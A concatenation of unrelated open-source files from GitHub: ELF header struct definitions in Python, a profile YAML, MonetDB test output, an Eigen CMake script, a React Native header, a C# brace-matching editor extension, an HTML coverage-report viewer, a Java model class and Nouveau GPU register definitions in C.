header.Uint32("sh_name"),
header.Uint32("sh_type"),
header.Uint64("sh_flags"),
header.Uint64("sh_addr"),
header.Uint64("sh_offset"),
header.Uint64("sh_size"),
header.Uint32("sh_link"),
header.Uint32("sh_info"),
header.Uint64("sh_addralign"),
header.Uint64("sh_entsize"),
],
)
assert self.SectionHeader.size == 0x40
if bits == 64:
self.ProgramHeader = header.mk_header(
"ProgramHeader",
[
header.Uint32("p_type"),
header.Uint32("p_flags"),
header.Uint64("p_offset"),
header.Uint64("p_vaddr"),
header.Uint64("p_paddr"),
header.Uint64("p_filesz"),
header.Uint64("p_memsz"),
header.Uint64("p_align"),
],
)
assert self.ProgramHeader.size == 0x38
else:
self.ProgramHeader = header.mk_header(
"ProgramHeader",
[
header.Uint32("p_type"),
header.Uint32("p_offset"),
header.Uint32("p_vaddr"),
header.Uint32("p_paddr"),
header.Uint32("p_filesz"),
header.Uint32("p_memsz"),
header.Uint32("p_flags"),
header.Uint32("p_align"),
],
)
assert self.ProgramHeader.size == 0x20
if bits == 64:
self.SymbolTableEntry = header.mk_header(
"SymbolTableEntry",
[
header.Uint32("st_name"),
header.Uint8("st_info"),
header.Uint8("st_other"),
header.Uint16("st_shndx"),
header.Uint64("st_value"),
header.Uint64("st_size"),
],
)
assert self.SymbolTableEntry.size == 24
else:
self.SymbolTableEntry = header.mk_header(
"SymbolTableEntry",
[
header.Uint32("st_name"),
header.Uint32("st_value"),
header.Uint32("st_size"),
header.Uint8("st_info"),
header.Uint8("st_other"),
header.Uint16("st_shndx"),
],
)
assert self.SymbolTableEntry.size == 16
if bits == 64:
self.RelocationTableEntry = header.mk_header(
"RelocationTableEntry",
[
header.Uint64("r_offset"),
header.Uint64("r_info"),
header.Int64("r_addend"),
],
)
assert self.RelocationTableEntry.size == 24
else:
self.RelocationTableEntry = header.mk_header(
"RelocationTableEntry",
[
header.Uint32("r_offset"),
header.Uint32("r_info"),
header.Int32("r_addend"),
],
)
assert self.RelocationTableEntry.size == 12
if bits == 64:
self.DynamicEntry = header.mk_header(
"DynamicEntry",
[header.Int64("d_tag"), header.Uint64("d_val"),],
)
assert self.DynamicEntry.size == 16
else:
self.DynamicEntry = header.mk_header(
"DynamicEntry",
[header.Int32("d_tag"), header.Uint32("d_val"),],
)
assert self.DynamicEntry.size == 8
| {
"pile_set_name": "Github"
} |
---
name: JukeFA # No longer than 28 characters
institution: Isothermal CC # no longer than 58 characters
profile_pic: JukeFA.png # Name and extension of your profile picture(ex. mona.png) The picture must be squared and 544px on width and height.
quote: Perhaps man wasn't meant for paradise. Maybe he was meant to claw, to scratch all the way. # no longer than 100 characters, avoid using quotes(") to guarantee the format remains the same.
github_user: JukeFA
--- | {
"pile_set_name": "Github"
} |
stdout of test 'rename11` in directory 'sql/test/rename` itself:
# 20:50:14 >
# 20:50:14 > "/usr/bin/python2" "rename11.py" "rename11"
# 20:50:14 >
# MonetDB 5 server v11.33.4 (hg id: 101e6463524a+)
# This is an unreleased version
# Serving database 'mTests_sql_test_rename', using 8 threads
# Compiled for x86_64-pc-linux-gnu/64bit with 128bit integers
# Found 15.527 GiB available main-memory.
# Copyright (c) 1993 - July 2008 CWI.
# Copyright (c) August 2008 - 2020 MonetDB B.V., all rights reserved
# Visit https://www.monetdb.org/ for further information
# Listening for connection requests on mapi:monetdb://localhost.localdomain:37992/
# Listening for UNIX domain connection requests on mapi:monetdb:///var/tmp/mtest-31265/.s.monetdb.37992
# MonetDB/GIS module loaded
# SQL catalog created, loading sql scripts once
# loading sql script: 09_like.sql
# loading sql script: 10_math.sql
# loading sql script: 11_times.sql
# loading sql script: 12_url.sql
# loading sql script: 13_date.sql
# loading sql script: 14_inet.sql
# loading sql script: 15_querylog.sql
# loading sql script: 16_tracelog.sql
# loading sql script: 17_temporal.sql
# loading sql script: 18_index.sql
# loading sql script: 20_vacuum.sql
# loading sql script: 21_dependency_views.sql
# loading sql script: 22_clients.sql
# loading sql script: 23_skyserver.sql
# loading sql script: 25_debug.sql
# loading sql script: 26_sysmon.sql
# loading sql script: 27_rejects.sql
# loading sql script: 39_analytics.sql
# loading sql script: 39_analytics_hge.sql
# loading sql script: 40_geom.sql
# loading sql script: 40_json.sql
# loading sql script: 40_json_hge.sql
# loading sql script: 41_md5sum.sql
# loading sql script: 45_uuid.sql
# loading sql script: 46_profiler.sql
# loading sql script: 51_sys_schema_extension.sql
# loading sql script: 60_wlcr.sql
# loading sql script: 72_fits.sql
# loading sql script: 74_netcdf.sql
# loading sql script: 75_lidar.sql
# loading sql script: 75_shp.sql
# loading sql script: 75_storagemodel.sql
# loading sql script: 80_statistics.sql
# loading sql script: 80_udf.sql
# loading sql script: 80_udf_hge.sql
# loading sql script: 85_bam.sql
# loading sql script: 90_generator.sql
# loading sql script: 90_generator_hge.sql
# loading sql script: 99_system.sql
# MonetDB/SQL module loaded
# 20:50:15 >
# 20:50:15 > "Done."
# 20:50:15 >
| {
"pile_set_name": "Github"
} |
file(GLOB examples_SRCS "*.cpp")
foreach(example_src ${examples_SRCS})
get_filename_component(example ${example_src} NAME_WE)
add_executable(${example} ${example_src})
if(EIGEN_STANDARD_LIBRARIES_TO_LINK_TO)
target_link_libraries(${example} ${EIGEN_STANDARD_LIBRARIES_TO_LINK_TO})
endif()
add_custom_command(
TARGET ${example}
POST_BUILD
COMMAND ${example}
ARGS >${CMAKE_CURRENT_BINARY_DIR}/${example}.out
)
add_dependencies(all_examples ${example})
endforeach(example_src)
check_cxx_compiler_flag("-std=c++11" EIGEN_COMPILER_SUPPORT_CPP11)
if(EIGEN_COMPILER_SUPPORT_CPP11)
ei_add_target_property(nullary_indexing COMPILE_FLAGS "-std=c++11")
endif() | {
"pile_set_name": "Github"
} |
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
#import <UIKit/UIKit.h>
#import <ABI37_0_0React/ABI37_0_0RCTSurfaceStage.h>
#import <ABI37_0_0React/ABI37_0_0RCTSurfaceView.h>
@class ABI37_0_0RCTSurfaceRootView;
NS_ASSUME_NONNULL_BEGIN
@interface ABI37_0_0RCTSurfaceView (Internal)
@property (nonatomic, strong) ABI37_0_0RCTSurfaceRootView *rootView;
@property (nonatomic, assign) ABI37_0_0RCTSurfaceStage stage;
@end
NS_ASSUME_NONNULL_END
| {
"pile_set_name": "Github"
} |
using System;
using System.Collections.Generic;
using System.Linq;
using Ammy.VisualStudio.Service.Taggers;
using Microsoft.VisualStudio.Text;
using Microsoft.VisualStudio.Text.Editor;
using Microsoft.VisualStudio.Text.Tagging;
namespace Ammy.VisualStudio.Service.Infrastructure
{
public class BraceMatching : INeedLogging
{
private readonly Dictionary<char, char> _braceList;
private readonly ITextBuffer _buffer;
private readonly TextMarkerTagger _tagger;
private readonly ITextView _textView;
private SnapshotPoint? _currentChar;
public BraceMatching(TextMarkerTagger tagger, ITextBuffer buffer, ITextView textView)
{
_tagger = tagger;
_buffer = buffer;
_textView = textView;
_braceList = new Dictionary<char, char> { { '{', '}' }, { '[', ']' }, { '(', ')' } };
_currentChar = null;
_textView.Caret.PositionChanged += CaretPositionChanged;
_textView.LayoutChanged += ViewLayoutChanged;
}
private void ViewLayoutChanged(object sender, TextViewLayoutChangedEventArgs e)
{
if (e.NewSnapshot != e.OldSnapshot)
UpdateAtCaretPosition(_textView.Caret.Position);
}
private void CaretPositionChanged(object sender, CaretPositionChangedEventArgs e)
{
UpdateAtCaretPosition(e.NewPosition);
}
private void UpdateAtCaretPosition(CaretPosition position)
{
_currentChar = position.Point.GetPoint(_buffer, position.Affinity);
if (!_currentChar.HasValue)
return;
var snapshot = _buffer.CurrentSnapshot;
_tagger.RaiseTagsChanged(new SnapshotSpanEventArgs(new SnapshotSpan(snapshot, 0, snapshot.Length)));
}
public IEnumerable<ITagSpan<TextMarkerTag>> GetTags(NormalizedSnapshotSpanCollection spans)
{
var result = new List<ITagSpan<TextMarkerTag>>();
try {
if (spans.Count == 0) //there is no content in the buffer
return result;
//don't do anything if the current SnapshotPoint is not initialized or at the end of the buffer
if (!_currentChar.HasValue || _currentChar.Value.Position >= _currentChar.Value.Snapshot.Length)
return result;
//hold on to a snapshot of the current character
var currentChar = _currentChar.Value;
//if the requested snapshot isn't the same as the one the brace is on, translate our spans to the expected snapshot
if (spans[0].Snapshot != currentChar.Snapshot)
currentChar = currentChar.TranslateTo(spans[0].Snapshot, PointTrackingMode.Positive);
//get the current char and the previous char
var currentText = currentChar.GetChar();
var lastChar = currentChar == 0 ? currentChar : currentChar - 1; //if currentChar is 0 (beginning of buffer), don't move it back
var lastText = lastChar.GetChar();
var pairSpan = new SnapshotSpan();
if (_braceList.ContainsKey(currentText)) //the key is the open brace
{
char closeChar;
_braceList.TryGetValue(currentText, out closeChar);
if (FindMatchingCloseChar(currentChar, currentText, closeChar, _textView.TextViewLines.Count, out pairSpan)) {
result.Add(new TagSpan<TextMarkerTag>(new SnapshotSpan(currentChar, 1), new TextMarkerTag("blue")));
result.Add(new TagSpan<TextMarkerTag>(pairSpan, new TextMarkerTag("blue")));
}
} else if (_braceList.ContainsValue(lastText)) //the value is the close brace, which is the *previous* character
{
var open = from n in _braceList
where n.Value.Equals(lastText)
select n.Key;
if (FindMatchingOpenChar(lastChar, open.ElementAt(0), lastText, _textView.TextViewLines.Count, out pairSpan)) {
result.Add(new TagSpan<TextMarkerTag>(new SnapshotSpan(lastChar, 1), new TextMarkerTag("blue")));
result.Add(new TagSpan<TextMarkerTag>(pairSpan, new TextMarkerTag("blue")));
}
}
return result;
} catch (Exception e) {
this.LogDebugInfo("BraceMatching GetTags failed: " + e);
return result;
}
}
private static bool FindMatchingCloseChar(SnapshotPoint startPoint, char open, char close, int maxLines, out SnapshotSpan pairSpan)
{
pairSpan = new SnapshotSpan(startPoint.Snapshot, 1, 1);
var line = startPoint.GetContainingLine();
var lineText = line.GetText();
var lineNumber = line.LineNumber;
var offset = startPoint.Position - line.Start.Position + 1;
var stopLineNumber = startPoint.Snapshot.LineCount - 1;
if (maxLines > 0)
stopLineNumber = Math.Min(stopLineNumber, lineNumber + maxLines);
var openCount = 0;
while (true) {
//walk the entire line
while (offset < line.Length) {
var currentChar = lineText[offset];
if (currentChar == close) //found the close character
{
if (openCount > 0) {
openCount--;
} else //found the matching close
{
pairSpan = new SnapshotSpan(startPoint.Snapshot, line.Start + offset, 1);
return true;
}
} else if (currentChar == open) // this is another open
{
openCount++;
}
offset++;
}
//move on to the next line
if (++lineNumber > stopLineNumber)
break;
line = line.Snapshot.GetLineFromLineNumber(lineNumber);
lineText = line.GetText();
offset = 0;
}
return false;
}
private static bool FindMatchingOpenChar(SnapshotPoint startPoint, char open, char close, int maxLines, out SnapshotSpan pairSpan)
{
pairSpan = new SnapshotSpan(startPoint, startPoint);
var line = startPoint.GetContainingLine();
var lineNumber = line.LineNumber;
var offset = startPoint - line.Start - 1; //move the offset to the character before this one
//if the offset is negative, move to the previous line
if (offset < 0) {
line = line.Snapshot.GetLineFromLineNumber(--lineNumber);
offset = line.Length - 1;
}
var lineText = line.GetText();
var stopLineNumber = 0;
if (maxLines > 0)
stopLineNumber = Math.Max(stopLineNumber, lineNumber - maxLines);
var closeCount = 0;
while (true) {
// Walk the entire line
while (offset >= 0) {
var currentChar = lineText[offset];
if (currentChar == open) {
if (closeCount > 0) {
closeCount--;
} else // We've found the open character
{
pairSpan = new SnapshotSpan(line.Start + offset, 1); //we just want the character itself
return true;
}
} else if (currentChar == close) {
closeCount++;
}
offset--;
}
// Move to the previous line
if (--lineNumber < stopLineNumber)
break;
line = line.Snapshot.GetLineFromLineNumber(lineNumber);
lineText = line.GetText();
offset = line.Length - 1;
}
return false;
}
}
} | {
"pile_set_name": "Github"
} |
<!doctype html>
<html>
<head>
<style type='text/css'>
table, tr, td
{
border-spacing: 1px;
padding: 0px;
}
td.textColumn
{
white-space: nowrap;
font-family: Courier, monospace;
}
#directories, #codeviewer
{
overflow: scroll;
background-color: white;
position: absolute;
width: 50%;
height: 100%;
}
#directories
{
left: 0%;
}
#codeviewer
{
left: 50%;
}
ul
{
padding: 1px 0px 1px 8px;
margin: 0px;
list-style-type: none;
}
li.file
{
/* 8px is to match the width of downArrow and rightArrow because files don't have an image before them. */
padding: 0px 0px 0px 8px;
}
div.graphsContainer
{
right: 0px;
width: 300px;
position: absolute;
display: inline-block;
}
div.codeCoverage
{
right: 0px;
width: 150px;
position: absolute;
display: inline-block;
}
div.branchCoverage
{
right: 150px;
width: 150px;
position: absolute;
display: inline-block;
}
</style>
<script type='text/javascript'>
// This is the contents of the images left of directories.
var downArrow = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAkAAAAJCAYAAADgkQYQAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH3QYHFioBcCRLNAAAAJhJREFUGNOFzrEKwjAURuHTJHUspekDZGmhdlawCEqoUDK19O1cnX0dFxcnQXyIOAhKSsUzXr4Lf3Q8nf3leuNXy8IgBmeRYh5IAYOziDxLsdv1LNo3K/IsRQAcdhu0TgKgdUJnG4A3ipVk7NoAjV2LkvKLAKrSUBcGgLowVKX5PASTe2eJF4re2XCcn3R/PKcnH3nvPX96AbbuOGLOrLT1AAAAAElFTkSuQmCC';
var rightArrow = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAkAAAAJCAYAAADgkQYQAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH3QYHFiojpUQK0AAAAKZJREFUGNNjmL1k/f+379//xweYlXXMGo6dvcDw/x8jg7y0OAMzMzMDOmBiYGBg+PP7P8OO/ccYOqctZLh2+x52RTDw9t0nhtlLNjDMWbqB4d2HD9gVwcDVW/cYumcsZXj56i0DAwMDAws2RdqqCgwBHo4MIiKCmIqEBPgYgrycGbTVFVE0sTAwMDCwMjMyONqYMbjYWjCwsmL6jmH24rX/37zBH04AHAxpneY+98AAAAAASUVORK5CYII=';
function getHeatBackgroundColor(hits, maxHits)
{
if (hits === -1)
return 'white'; // Non-code lines are white.
else if (hits === 0)
return 'orange'; // Unexecuted lines are orange.
else {
// Executed lines are between red and green.
var relativeHeat = Math.floor(hits / maxHits * 255);
return 'rgb(' + relativeHeat + ',' + (255 - relativeHeat) + ', 0)';
}
}
function getCoverageBackgroundColor(coverage)
{
var value = Math.floor(coverage * 255);
return 'rgb(' + (255 - value) + ',' + value + ', 0)';
}
function expandClicked(event)
{
var children = this.parentNode.lastChild;
if (children.style.display === '') {
children.style.display = 'none';
this.src = rightArrow;
} else {
children.style.display = '';
this.src = downArrow;
}
}
function processFile(fileData, contents)
{
var lines = contents.split('\n');
var hits = new Array();
var branchesNumerator = new Array();
var branchesDenominator = new Array();
for (var i = 0; i < lines.length; i++) {
hits[i] = -1;
branchesNumerator[i] = -1;
branchesDenominator[i] = -1;
}
for (var i = 0; i < fileData.hitLines.length; i++)
hits[fileData.hitLines[i] - 1] = fileData.hits[i];
for (var i = 0; i < fileData.branchLines.length; i++) {
branchesNumerator[fileData.branchLines[i] - 1] = fileData.branchesTaken[i];
branchesDenominator[fileData.branchLines[i] - 1] = fileData.branchesPossible[i];
}
var table = document.createElement('table');
for (var i = 0; i < lines.length; i++) {
var row = document.createElement('tr');
var branchesColumn = document.createElement('td');
if (branchesNumerator[i] != -1)
branchesColumn.appendChild(document.createTextNode('(' + branchesNumerator[i] + '/' + branchesDenominator[i] + ')'));
var hitsColumn = document.createElement('td');
if (hits[i] != -1)
hitsColumn.appendChild(document.createTextNode(hits[i]));
var textColumn = document.createElement('td');
textColumn.style.background = getHeatBackgroundColor(hits[i], fileData.maxHeat);
textColumn.style.className = 'textColumn';
textColumn.appendChild(document.createTextNode(lines[i]));
row.appendChild(branchesColumn);
row.appendChild(hitsColumn);
row.appendChild(textColumn);
table.appendChild(row);
}
return table;
}
function fileClicked(event)
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if (xhr.readyState === XMLHttpRequest.DONE) {
var codeviewer = document.getElementById('codeviewer');
codeviewer.replaceChild(processFile(xhr.fileData, xhr.responseText), codeviewer.firstChild);
}
}
xhr.fileData = event.target.fileData;
xhr.open('GET', '../../' + event.target.fileData.filename.substring(1), true);
xhr.send();
event.stopPropagation();
}
function makeGraphs(dirOrFile)
{
var codeCoverage = document.createElement('div');
codeCoverage.className = 'codeCoverage';
var codeCoveragePercent = dirOrFile.totalLines ? Math.floor(dirOrFile.totalHitLines / dirOrFile.totalLines * 100) + '%' : '-';
var codeCoverageText = codeCoveragePercent + ' (' + dirOrFile.totalHitLines + '/' + dirOrFile.totalLines + ')';
codeCoverage.appendChild(document.createTextNode(codeCoverageText));
codeCoverage.style.backgroundColor = getCoverageBackgroundColor(dirOrFile.coverage);
var branchCoverage = document.createElement('div');
branchCoverage.className = 'branchCoverage';
var branchCoveragePercent = dirOrFile.totalBranchesPossible ? Math.floor(dirOrFile.totalBranchesTaken / dirOrFile.totalBranchesPossible * 100) + '%' : '-';
branchCoverage.appendChild(document.createTextNode(branchCoveragePercent + ' (' + dirOrFile.totalBranchesTaken + '/' + dirOrFile.totalBranchesPossible + ')'));
branchCoverage.style.backgroundColor = getCoverageBackgroundColor(dirOrFile.branchCoverage);
var graphsContainer = document.createElement('div');
graphsContainer.className = 'graphsContainer';
graphsContainer.appendChild(codeCoverage);
graphsContainer.appendChild(branchCoverage);
return graphsContainer;
}
function makeFileListItem(fileData, filename)
{
var li = document.createElement('li');
li.className = 'file';
var a = document.createElement('a');
a.appendChild(document.createTextNode(filename));
a.href = '#';
a.addEventListener('click', fileClicked.bind(a));
a.fileData = fileData;
li.appendChild(a);
li.appendChild(makeGraphs(fileData));
return li;
}
function makeDirectoryListItem(dir, dirName)
{
var li = document.createElement('li');
var children = document.createElement('ul');
// Recursively add all sorted subdirectories and files.
var fileNames = dir.files ? Object.keys(dir.files).sort() : [];
var subdirNames = dir.subdirs ? Object.keys(dir.subdirs).sort() : [];
for (var i = 0; i < subdirNames.length; i++) {
var subdir = subdirNames[i];
children.appendChild(makeDirectoryListItem(dir.subdirs[subdir], subdir));
}
for (var i = 0; i < fileNames.length; i++) {
var file = fileNames[i];
children.appendChild(makeFileListItem(dir.files[file], file, dir.maxHeat, dir.totalHeat));
}
var img = document.createElement('img');
img.addEventListener('click', expandClicked.bind(img));
// These four directories are expanded by default.
if (dirName === '' || dirName === 'Source' || dirName === 'Tools' || dirName === 'WebKitBuild') {
img.src = downArrow;
children.style.display = '';
} else {
img.src = rightArrow;
children.style.display = 'none';
}
li.appendChild(img);
li.appendChild(document.createTextNode(dirName));
li.appendChild(makeGraphs(dir));
li.appendChild(children);
return li;
}
// Collect total coverage for a directory and its subdirectories.
function collectDirectoryTotals(directory)
{
directory.totalBranchesPossible = 0;
directory.totalBranchesTaken = 0;
directory.totalHitLines = 0;
directory.totalLines = 0;
directory.totalHeat = 0;
directory.maxHeat = 0;
if (directory.subdirs) {
for (var subdirName in directory.subdirs) {
var subdir = directory.subdirs[subdirName];
collectDirectoryTotals(subdir);
directory.totalBranchesPossible += subdir.totalBranchesPossible;
directory.totalBranchesTaken += subdir.totalBranchesTaken;
directory.totalHitLines += subdir.totalHitLines;
directory.totalLines += subdir.totalLines;
directory.totalHeat += subdir.totalHeat;
directory.maxHeat = Math.max(directory.maxHeat, subdir.maxHeat);
}
}
if (directory.files) {
for (var fileName in directory.files) {
var file = directory.files[fileName];
file.totalBranchesPossible = 0;
file.totalBranchesTaken = 0;
file.totalHitLines = 0;
file.totalLines = file.hitLines.length;
file.totalHeat = 0;
for (var i = 0; i < file.branchesPossible.length; i++) {
file.totalBranchesPossible += file.branchesPossible[i];
file.totalBranchesTaken += file.branchesTaken[i];
}
for (var i = 0; i < file.hits.length; i++) {
file.totalHeat += file.hits[i];
if (file.hits[i])
file.totalHitLines++;
}
directory.totalBranchesPossible += file.totalBranchesPossible;
directory.totalBranchesTaken += file.totalBranchesTaken;
directory.totalHitLines += file.totalHitLines;
directory.totalLines += file.totalLines;
directory.totalHeat += file.totalHeat;
directory.maxHeat = Math.max(directory.maxHeat, file.maxHeat);
}
}
directory.coverage = directory.totalHitLines / directory.totalLines;
directory.branchCoverage = directory.totalBranchesPossible ? directory.totalBranchesTaken / directory.totalBranchesPossible : 1;
}
function addFileToDirectory(filename, filedata, directory)
{
var slashIndex = filename.indexOf('/', 1);
if (slashIndex === -1) {
if (!directory.files)
directory.files = {};
directory.files[filename.substring(1)] = filedata;
} else {
if (!directory.subdirs)
directory.subdirs = {};
var subdirName = filename.substring(1, slashIndex);
if (!directory.subdirs[subdirName])
directory.subdirs[subdirName] = {};
addFileToDirectory(filename.substring(slashIndex), filedata, directory.subdirs[subdirName]);
}
}
function updateReport(data)
{
var rootDirectory = {};
for (var i = 0; i < data.length; i++)
addFileToDirectory(data[i].filename, data[i], rootDirectory);
collectDirectoryTotals(rootDirectory);
var report = document.createElement('div');
var codeCoverageHeader = document.createElement('div');
codeCoverageHeader.className = 'codeCoverage';
codeCoverageHeader.appendChild(document.createTextNode('Code Coverage'));
var branchCoverageHeader = document.createElement('div');
branchCoverageHeader.className = 'branchCoverage';
branchCoverageHeader.appendChild(document.createTextNode('Branch Coverage'));
var ul = document.createElement('ul');
ul.appendChild(makeDirectoryListItem(rootDirectory, ''));
report.appendChild(codeCoverageHeader);
report.appendChild(branchCoverageHeader);
report.appendChild(document.createTextNode('Directories'));
report.appendChild(ul);
var directories = document.getElementById('directories');
directories.replaceChild(report, directories.firstChild);
}
function bodyLoaded()
{
updateReport(JSON.parse(document.getElementById('json').textContent));
}
</script>
</head>
<body onload='bodyLoaded();'>
<div id='directories'>
loading data...
</div>
<div id='codeviewer'>
</div>
<script id='json' type='application/json'>%CoverageDataJSON%</script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
/**
*
* APDPlat - Application Product Development Platform
* Copyright (c) 2013, 杨尚川, [email protected]
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
package org.apdplat.platform.model;
/**
*
* @author 杨尚川
*/
public class ModelFieldData {
private String english;
private String chinese;
private String type;
private String simpleDic;
private String treeDic;
private boolean manyToOne;
private String manyToOneRef;
public boolean isManyToOne() {
return manyToOne;
}
public void setManyToOne(boolean manyToOne) {
this.manyToOne = manyToOne;
}
public String getManyToOneRef() {
return manyToOneRef;
}
public void setManyToOneRef(String manyToOneRef) {
this.manyToOneRef = manyToOneRef;
}
public String getSimpleDic() {
return simpleDic;
}
public void setSimpleDic(String simpleDic) {
this.simpleDic = simpleDic;
}
public String getTreeDic() {
return treeDic;
}
public void setTreeDic(String treeDic) {
this.treeDic = treeDic;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getChinese() {
return chinese;
}
public void setChinese(String chinese) {
this.chinese = chinese;
}
public String getEnglish() {
return english;
}
public void setEnglish(String english) {
this.english = english;
}
} | {
"pile_set_name": "Github"
} |
#ifndef __NOUVEAU_GRAPH_REGS_H__
#define __NOUVEAU_GRAPH_REGS_H__
#define NV04_PGRAPH_DEBUG_0 0x00400080
#define NV04_PGRAPH_DEBUG_1 0x00400084
#define NV04_PGRAPH_DEBUG_2 0x00400088
#define NV04_PGRAPH_DEBUG_3 0x0040008c
#define NV10_PGRAPH_DEBUG_4 0x00400090
#define NV03_PGRAPH_INTR 0x00400100
#define NV03_PGRAPH_NSTATUS 0x00400104
# define NV04_PGRAPH_NSTATUS_STATE_IN_USE (1<<11)
# define NV04_PGRAPH_NSTATUS_INVALID_STATE (1<<12)
# define NV04_PGRAPH_NSTATUS_BAD_ARGUMENT (1<<13)
# define NV04_PGRAPH_NSTATUS_PROTECTION_FAULT (1<<14)
# define NV10_PGRAPH_NSTATUS_STATE_IN_USE (1<<23)
# define NV10_PGRAPH_NSTATUS_INVALID_STATE (1<<24)
# define NV10_PGRAPH_NSTATUS_BAD_ARGUMENT (1<<25)
# define NV10_PGRAPH_NSTATUS_PROTECTION_FAULT (1<<26)
#define NV03_PGRAPH_NSOURCE 0x00400108
# define NV03_PGRAPH_NSOURCE_NOTIFICATION (1<<0)
# define NV03_PGRAPH_NSOURCE_DATA_ERROR (1<<1)
# define NV03_PGRAPH_NSOURCE_PROTECTION_ERROR (1<<2)
# define NV03_PGRAPH_NSOURCE_RANGE_EXCEPTION (1<<3)
# define NV03_PGRAPH_NSOURCE_LIMIT_COLOR (1<<4)
# define NV03_PGRAPH_NSOURCE_LIMIT_ZETA (1<<5)
# define NV03_PGRAPH_NSOURCE_ILLEGAL_MTHD (1<<6)
# define NV03_PGRAPH_NSOURCE_DMA_R_PROTECTION (1<<7)
# define NV03_PGRAPH_NSOURCE_DMA_W_PROTECTION (1<<8)
# define NV03_PGRAPH_NSOURCE_FORMAT_EXCEPTION (1<<9)
# define NV03_PGRAPH_NSOURCE_PATCH_EXCEPTION (1<<10)
# define NV03_PGRAPH_NSOURCE_STATE_INVALID (1<<11)
# define NV03_PGRAPH_NSOURCE_DOUBLE_NOTIFY (1<<12)
# define NV03_PGRAPH_NSOURCE_NOTIFY_IN_USE (1<<13)
# define NV03_PGRAPH_NSOURCE_METHOD_CNT (1<<14)
# define NV03_PGRAPH_NSOURCE_BFR_NOTIFICATION (1<<15)
# define NV03_PGRAPH_NSOURCE_DMA_VTX_PROTECTION (1<<16)
# define NV03_PGRAPH_NSOURCE_DMA_WIDTH_A (1<<17)
# define NV03_PGRAPH_NSOURCE_DMA_WIDTH_B (1<<18)
#define NV03_PGRAPH_INTR_EN 0x00400140
#define NV40_PGRAPH_INTR_EN 0x0040013C
# define NV_PGRAPH_INTR_NOTIFY (1<<0)
# define NV_PGRAPH_INTR_MISSING_HW (1<<4)
# define NV_PGRAPH_INTR_CONTEXT_SWITCH (1<<12)
# define NV_PGRAPH_INTR_BUFFER_NOTIFY (1<<16)
# define NV_PGRAPH_INTR_ERROR (1<<20)
#define NV10_PGRAPH_CTX_CONTROL 0x00400144
#define NV10_PGRAPH_CTX_USER 0x00400148
#define NV10_PGRAPH_CTX_SWITCH(i) (0x0040014C + 0x4*(i))
#define NV04_PGRAPH_CTX_SWITCH1 0x00400160
#define NV10_PGRAPH_CTX_CACHE(i, j) (0x00400160 \
+ 0x4*(i) + 0x20*(j))
#define NV04_PGRAPH_CTX_SWITCH2 0x00400164
#define NV04_PGRAPH_CTX_SWITCH3 0x00400168
#define NV04_PGRAPH_CTX_SWITCH4 0x0040016C
#define NV04_PGRAPH_CTX_CONTROL 0x00400170
#define NV04_PGRAPH_CTX_USER 0x00400174
#define NV04_PGRAPH_CTX_CACHE1 0x00400180
#define NV03_PGRAPH_CTX_CONTROL 0x00400190
#define NV03_PGRAPH_CTX_USER 0x00400194
#define NV04_PGRAPH_CTX_CACHE2 0x004001A0
#define NV04_PGRAPH_CTX_CACHE3 0x004001C0
#define NV04_PGRAPH_CTX_CACHE4 0x004001E0
#define NV40_PGRAPH_CTXCTL_0304 0x00400304
#define NV40_PGRAPH_CTXCTL_0304_XFER_CTX 0x00000001
#define NV40_PGRAPH_CTXCTL_UCODE_STAT 0x00400308
#define NV40_PGRAPH_CTXCTL_UCODE_STAT_IP_MASK 0xff000000
#define NV40_PGRAPH_CTXCTL_UCODE_STAT_IP_SHIFT 24
#define NV40_PGRAPH_CTXCTL_UCODE_STAT_OP_MASK 0x00ffffff
#define NV40_PGRAPH_CTXCTL_0310 0x00400310
#define NV40_PGRAPH_CTXCTL_0310_XFER_SAVE 0x00000020
#define NV40_PGRAPH_CTXCTL_0310_XFER_LOAD 0x00000040
#define NV40_PGRAPH_CTXCTL_030C 0x0040030c
#define NV40_PGRAPH_CTXCTL_UCODE_INDEX 0x00400324
#define NV40_PGRAPH_CTXCTL_UCODE_DATA 0x00400328
#define NV40_PGRAPH_CTXCTL_CUR 0x0040032c
#define NV40_PGRAPH_CTXCTL_CUR_LOADED 0x01000000
#define NV40_PGRAPH_CTXCTL_CUR_INSTANCE 0x000FFFFF
#define NV40_PGRAPH_CTXCTL_NEXT 0x00400330
#define NV40_PGRAPH_CTXCTL_NEXT_INSTANCE 0x000fffff
#define NV50_PGRAPH_CTXCTL_CUR 0x0040032c
#define NV50_PGRAPH_CTXCTL_CUR_LOADED 0x80000000
#define NV50_PGRAPH_CTXCTL_CUR_INSTANCE 0x00ffffff
#define NV50_PGRAPH_CTXCTL_NEXT 0x00400330
#define NV50_PGRAPH_CTXCTL_NEXT_INSTANCE 0x00ffffff
#define NV03_PGRAPH_ABS_X_RAM 0x00400400
#define NV03_PGRAPH_ABS_Y_RAM 0x00400480
#define NV03_PGRAPH_X_MISC 0x00400500
#define NV03_PGRAPH_Y_MISC 0x00400504
#define NV04_PGRAPH_VALID1 0x00400508
#define NV04_PGRAPH_SOURCE_COLOR 0x0040050C
#define NV04_PGRAPH_MISC24_0 0x00400510
#define NV03_PGRAPH_XY_LOGIC_MISC0 0x00400514
#define NV03_PGRAPH_XY_LOGIC_MISC1 0x00400518
#define NV03_PGRAPH_XY_LOGIC_MISC2 0x0040051C
#define NV03_PGRAPH_XY_LOGIC_MISC3 0x00400520
#define NV03_PGRAPH_CLIPX_0 0x00400524
#define NV03_PGRAPH_CLIPX_1 0x00400528
#define NV03_PGRAPH_CLIPY_0 0x0040052C
#define NV03_PGRAPH_CLIPY_1 0x00400530
